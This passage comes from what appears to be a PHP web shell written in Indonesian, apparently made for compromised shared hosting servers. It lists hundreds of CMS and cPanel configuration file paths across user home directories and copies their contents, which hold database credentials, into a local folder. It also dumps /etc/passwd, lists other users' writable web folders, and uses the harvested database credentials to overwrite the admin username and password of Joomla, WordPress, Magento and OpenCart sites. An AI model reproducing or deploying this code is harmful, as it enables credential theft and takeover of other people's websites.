1760 "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1761 "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1762 "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1763 "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1764 "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1765 "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1766 "/home1/$user_cox/.my.cnf" => "cpanel",
1767 "/home1/$user_cox/.accesshash" => "WHM-accesshash",
1768 "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1769 "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1770 "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1771 "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1772 "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1773 "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
1774 "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1775 "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1776 "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
1777 "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
1778 "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
1779 "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
1780 "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1781 "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1782 "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
1783 "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1784 "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1785 "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
1786 "/home1/$user_cox/public_html/configuration.php" => "Joomla",
1787 "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1788 "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1789 "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1790 "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1791 "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1792 "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1793 "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1794 "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1795 "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1796 "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1797 "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1798 "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1799 "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1800 "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1801 "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1802 "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1803 "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1804 "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1805 "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1806 "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1807 "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1808 "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1809 "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1810 "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1811 "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1812 "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1813 "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1814 "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1815 "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1816 "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1817 "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1818 "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1819 "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1820 "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1821 "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1822 "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1823 "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
1824 "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1825 "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1826 "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1827 "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1828 "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1829 "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1830 "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1831 "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1832 "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1833 "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1834 "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1835 "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1836 "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1837 "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1838 "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1839 "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1840 "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1841 "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1842 "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1843 "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1844 "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1845 "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1846 "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1847 "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1848 "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1849 "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1850 "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1851 "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1852 "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1853 "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1854 "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1855 "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1856 "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1857 "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1858 "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1859 "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1860 "/home2/$user_cox/.my.cnf" => "cpanel",
1861 "/home2/$user_cox/.accesshash" => "WHM-accesshash",
1862 "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1863 "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1864 "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1865 "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1866 "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1867 "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
1868 "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1869 "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1870 "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
1871 "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
1872 "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
1873 "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
1874 "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1875 "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1876 "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
1877 "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1878 "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1879 "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
1880 "/home2/$user_cox/public_html/configuration.php" => "Joomla",
1881 "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1882 "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1883 "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1884 "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1885 "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1886 "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1887 "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1888 "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1889 "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1890 "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1891 "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1892 "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1893 "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1894 "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1895 "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1896 "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1897 "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1898 "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1899 "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1900 "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1901 "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1902 "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1903 "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1904 "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1905 "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1906 "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1907 "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1908 "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1909 "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1910 "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1911 "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1912 "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1913 "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1914 "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1915 "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1916 "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1917 "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
1918 "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1919 "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1920 "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1921 "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1922 "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1923 "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1924 "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1925 "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1926 "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1927 "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1928 "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1929 "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1930 "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1931 "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1932 "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1933 "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1934 "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1935 "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1936 "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1937 "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1938 "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1939 "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1940 "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1941 "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1942 "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1943 "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1944 "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1945 "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1946 "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1947 "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1948 "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1949 "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1950 "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1951 "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1952 "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1953 "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1954 "/home3/$user_cox/.my.cnf" => "cpanel",
1955 "/home3/$user_cox/.accesshash" => "WHM-accesshash",
1956 "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1957 "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1958 "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1959 "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1960 "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1961 "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
1962 "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1963 "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1964 "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
1965 "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
1966 "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
1967 "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
1968 "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1969 "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1970 "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
1971 "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1972 "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1973 "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
1974 "/home3/$user_cox/public_html/configuration.php" => "Joomla",
1975 "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1976 "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1977 "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1978 "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1979 "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1980 "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1981 "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1982 "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1983 "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1984 "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1985 "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1986 "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1987 "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1988 "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1989 "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1990 "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1991 "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1992 "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1993 "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1994 "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1995 "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1996 "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1997 "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1998 "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1999 "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
2000 "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
2001 "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
2002 "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
2003 "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
2004 "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
2005 "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
2006 "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
2007 "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
2008 "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
2009 "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2010 "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
2011 "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
2012 "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2013 "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2014 "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2015 "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
2016 "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
2017 "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
2018 "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
2019 "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
2020 "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
2021 "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
2022 "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
2023 "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
2024 "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
2025 "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
2026 "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
2027 "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
2028 "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
2029 "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
2030 "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
2031 "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
2032 "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
2033 "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2034 "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2035 "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
2036 "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
2037 "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
2038 "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
2039 "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
2040 "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
2041 "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
2042 "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
2043 "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
2044 "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
2045 "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
2046 "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2047 "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
2048 );
2049 foreach($grab_config as $config => $nama_config) {
2050 $ambil_config = file_get_contents($config);
2051 if($ambil_config == '') {
2052 } else {
2053 $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
2054 fputs($file_config,$ambil_config);
2055 }
2056 }
2057 }
2058 }
2059 echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
2060 }else{
2061
2062 echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
2063 echo file_get_contents('/etc/passwd');
2064 echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
2065 }
2066} elseif($_GET['do'] == 'jumping') {
2067 $i = 0;
2068 echo "<pre><div class='margin: 5px auto;'>";
2069 $etc = fopen("/etc/passwd", "r");
2070 while($passwd = fgets($etc)) {
2071 if($passwd == '' || !$etc) {
2072 echo "<font color=red>Can't read /etc/passwd</font>";
2073 } else {
2074 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
2075 foreach($user_jumping[1] as $user_idx_jump) {
2076 $user_jumping_dir = "/home/$user_idx_jump/public_html";
2077 if(is_readable($user_jumping_dir)) {
2078 $i++;
2079 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2080 if(is_writable($user_jumping_dir)) {
2081 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2082 }
2083 echo $jrw;
2084 $domain_jump = file_get_contents("/etc/named.conf");
2085 if($domain_jump == '') {
2086 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
2087 } else {
2088 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
2089 foreach($domains_jump[1] as $dj) {
2090 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
2091 $user_jumping_url = $user_jumping_url['name'];
2092 if($user_jumping_url == $user_idx_jump) {
2093 echo " => ( <u>$dj</u> )<br>";
2094 break;
2095 }
2096 }
2097 }
2098 }
2099 }
2100 }
2101 }
2102 if($i == 0) {
2103 } else {
2104 echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])." :v";
2105 }
2106 echo "</div></pre>";
2107}
2108 elseif($_GET['do'] == 'auto_edit_user') {
2109 if($_POST['hajar']) {
2110 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
2111 echo "username atau password harus lebih dari 6 karakter";
2112 } else {
2113 $user_baru = $_POST['user_baru'];
2114 $pass_baru = md5($_POST['pass_baru']);
2115 $conf = $_POST['config_dir'];
2116 $scan_conf = scandir($conf);
2117 foreach($scan_conf as $file_conf) {
2118 if(!is_file("$conf/$file_conf")) continue;
2119 $config = file_get_contents("$conf/$file_conf");
2120 if(preg_match("/JConfig|joomla/",$config)) {
2121 $dbhost = ambilkata($config,"host = '","'");
2122 $dbuser = ambilkata($config,"user = '","'");
2123 $dbpass = ambilkata($config,"password = '","'");
2124 $dbname = ambilkata($config,"db = '","'");
2125 $dbprefix = ambilkata($config,"dbprefix = '","'");
2126 $prefix = $dbprefix."users";
2127 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2128 $db = mysql_select_db($dbname);
2129 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2130 $result = mysql_fetch_array($q);
2131 $id = $result['id'];
2132 $site = ambilkata($config,"sitename = '","'");
2133 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
2134 echo "Config => ".$file_conf."<br>";
2135 echo "CMS => Joomla<br>";
2136 if($site == '') {
2137 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
2138 } else {
2139 echo "Sitename => $site<br>";
2140 }
2141 if(!$update OR !$conn OR !$db) {
2142 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2143 } else {
2144 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2145 }
2146 mysql_close($conn);
2147 } elseif(preg_match("/WordPress/",$config)) {
2148 $dbhost = ambilkata($config,"DB_HOST', '","'");
2149 $dbuser = ambilkata($config,"DB_USER', '","'");
2150 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2151 $dbname = ambilkata($config,"DB_NAME', '","'");
2152 $dbprefix = ambilkata($config,"table_prefix = '","'");
2153 $prefix = $dbprefix."users";
2154 $option = $dbprefix."options";
2155 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2156 $db = mysql_select_db($dbname);
2157 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2158 $result = mysql_fetch_array($q);
2159 $id = $result[ID];
2160 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2161 $result2 = mysql_fetch_array($q2);
2162 $target = $result2[option_value];
2163 if($target == '') {
2164 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2165 } else {
2166 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
2167 }
2168 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
2169 echo "Config => ".$file_conf."<br>";
2170 echo "CMS => Wordpress<br>";
2171 echo $url_target;
2172 if(!$update OR !$conn OR !$db) {
2173 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2174 } else {
2175 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2176 }
2177 mysql_close($conn);
2178 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
2179 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
2180 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
2181 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
2182 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
2183 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
2184 $prefix = $dbprefix."admin_user";
2185 $option = $dbprefix."core_config_data";
2186 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2187 $db = mysql_select_db($dbname);
2188 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
2189 $result = mysql_fetch_array($q);
2190 $id = $result[user_id];
2191 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
2192 $result2 = mysql_fetch_array($q2);
2193 $target = $result2[value];
2194 if($target == '') {
2195 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2196 } else {
2197 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
2198 }
2199 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2200 echo "Config => ".$file_conf."<br>";
2201 echo "CMS => Magento<br>";
2202 echo $url_target;
2203 if(!$update OR !$conn OR !$db) {
2204 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2205 } else {
2206 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2207 }
2208 mysql_close($conn);
2209 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
2210 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
2211 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
2212 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
2213 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
